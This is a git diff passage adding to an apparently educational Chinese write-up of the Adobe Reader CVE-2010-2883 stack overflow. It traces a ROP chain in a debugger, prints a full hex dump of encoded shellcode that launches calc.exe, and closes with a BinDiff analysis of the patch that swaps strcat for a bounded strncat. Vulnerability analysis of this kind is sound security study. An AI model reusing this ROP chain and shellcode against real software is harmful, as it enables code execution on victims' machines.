+4A80AEF1 C3 retn ; esp = 0C0C0D18, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; eax = 00000034 +4A801F91 C3 retn ; esp = 0C0C0D20, eip = 4A80D585 +``` +``` +4A80D585 03C2 add eax,edx ; eax = 0C0C0D54 +4A80D587 C3 retn ; esp = 0C0C0D24, eip = 4A8063A5 +``` +``` +4A8063A5 59 pop ecx ; ecx = 4A801064 +4A8063A6 C3 retn ; esp = 0C0C0D2C, eip = 4A842DB2 +``` +``` +4A842DB2 97 xchg eax,edi +4A842DB3 C3 retn ; esp = 0C0C0D30, eip = 4A802AB1 +``` +``` +4A802AB1 5B pop ebx ; ebx = 0000000A +4A802AB2 C3 retn ; esp = 0C0C0D38, eip = 4A80A8A6 +``` +``` +4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi +... +4A80A8C8 32C0 xor al,al +4A80A8CA C3 retn ; esp = 0C0C0D3C, eip = 4A801F90 +``` +``` +4A801F90 58 pop eax ; eax = 4A849170 <&MSVCR80.memcpy> +4A801F91 C3 retn ; esp = 0C0C0D44, eip = 4A80B692 +``` +``` +4A80B692 - FF20 jmp dword ptr ds:[eax] ; msvcr80.memcpy +``` +调用函数 `memcpy`,各参数如下所示: +``` +0C0C0D44 03E90000 /CALL 到 memcpy +0C0C0D48 03E90000 |dest = 03E90000 +0C0C0D4C 0C0C0D54 |src = 0C0C0D54 +0C0C0D50 00001000 \n = 1000 (4096.) +``` + +然后这段复制过去的 shellcode 会被解密,并跳到 `03E900A3` 执行: +``` +03E9000E B1 31 mov cl,0x31 +03E90010 315A 18 xor dword ptr ds:[edx+0x18],ebx +03E90013 035A 18 add ebx,dword ptr ds:[edx+0x18] +03E90016 83C2 04 add edx,0x4 +03E90019 ^ E2 F5 loopd short 03E90010 +03E9001B FC cld +03E9001C E8 82000000 call 03E900A3 +``` +``` +d 03E90000: + +03E90000 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A 29 C9 B1 31 哿賢$艋侓I瀂)杀1 +03E90010 31 5A 18 03 5A 18 83 C2 04 E2 F5 FC E8 82 00 00 1ZZ兟怩?. +03E90020 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 .`夊1纃婸0婻.婻 +03E90030 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20 媟(稪&1?a|, +03E90040 C1 CF 0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 料.氢騌W婻婮< +03E90050 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 Lx鉎裃媃 計I +03E90060 E3 3A 49 8B 34 8B 01 D6 31 FF AC C1 CF 0D 01 C7 ?I???? +03E90070 38 E0 75 F6 03 7D F8 3B 7D 24 75 E4 58 8B 58 24 8鄒?}?}$u鋁媂$ +03E90080 01 D3 66 8B 0C 4B 8B 58 1C 01 D3 8B 04 8B 01 D0 觙?K媂計? +03E90090 89 44 24 24 5B 5B 61 59 5A 51 FF E0 5F 5F 5A 8B 塂$$[[aYZQ郷_Z +03E900A0 12 EB 8D 5D 6A 01 8D 85 B2 00 00 00 50 68 31 8B 雿]j崊?..Ph1 +03E900B0 6F 87 FF D5 BB F0 B5 A2 56 68 A6 95 BD 9D FF D5 o?栈鸬h綕 +03E900C0 3C 06 7C 0A 80 FB E0 75 05 BB 47 13 72 6F 6A 00 <|.€u籊roj. +03E900D0 53 FF D5 63 61 6C 63 2E 65 78 65 00 0C 0C 0C 0C S誧alc.exe..... +03E900E0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ +``` +最后弹出计算器: +``` +03E900A3 5D pop ebp ; ebp = 03E90021 +03E900A4 6A 01 push 0x1 +03E900A6 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2] ; eax = 03E900D3 "calc.exe" +03E900AC 50 push eax +03E900AD 68 318B6F87 push 0x876F8B31 +03E900B2 FFD5 call ebp +``` + +#### 补丁 +利用 BinDiff 插件进行二进制比对,可以看到在修复漏洞时使用函数 `sub_813391E` 替换了 `strcat`: +``` +0.92 0.97 GI-JE-C 0803DD33 sub_803DD33 0803DCF9 sub_803DCF9 call reference matching 50 52 51 220 254 247 72 84 83 +``` + +![](../pic/7.1.8_diff.png) + +跟进函数 `sub_813391E`: +``` +.text:0813391E ; int __cdecl sub_813391E(char *Str, char *Source, int) +.text:0813391E sub_813391E proc near ; CODE XREF: sub_803C375+244↑p +.text:0813391E ; sub_803C375+2BB↑p ... +.text:0813391E +.text:0813391E Str = dword ptr 4 +.text:0813391E Source = dword ptr 8 +.text:0813391E arg_8 = dword ptr 0Ch +.text:0813391E +.text:0813391E push esi +.text:0813391F mov esi, [esp+4+Str] +.text:08133923 push esi ; Str +.text:08133924 call strlen ; 获得 uniqueName 的长度,返回值在 eax 中 +.text:08133929 pop ecx +.text:0813392A mov ecx, [esp+4+arg_8] ; ecx 的值是 0x104 +.text:0813392E cmp ecx, eax ; 判断是否大于 0x104 个字节 +.text:08133930 ja short loc_8133936 ; 跳转 +.text:08133932 mov eax, esi +.text:08133934 pop esi +.text:08133935 retn +.text:08133936 ; --------------------------------------------------------------------------- +.text:08133936 +.text:08133936 loc_8133936: ; CODE XREF: sub_813391E+12↑j +.text:08133936 sub ecx, eax +.text:08133938 dec ecx +.text:08133939 push ecx ; Count ; ecx = ecx - eax - 1 +.text:0813393A push [esp+8+Source] ; Source +.text:0813393E add eax, esi ; 动态调整栈空间 +.text:08133940 push eax ; Dest +.text:08133941 call ds:strncat ; strncat 复制字符串 +.text:08133947 add esp, 0Ch +.text:0813394A pop esi +.text:0813394B retn +.text:0813394B sub_813391E endp +``` +使用更安全的 `strncat` 替代 `strcat`,限制字符串长度为 `0x104` 字节,并且根据字符串长度动态地调整栈空间。 + ## 参考资料 - 《漏洞战争》 - https://www.cvedetails.com/cve/CVE-2010-2883/ +- [PDF File Format: Basic Structure](https://resources.infosecinstitute.com/pdf-file-format-basic-structure/) +- [TrueType 1.0 Font Files](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType%201.0%20Font%20Files.pdf) diff --git a/pic/7.1.8_diff.png b/pic/7.1.8_diff.png new file mode 100644 index 0000000..80241f4 Binary files /dev/null and b/pic/7.1.8_diff.png differ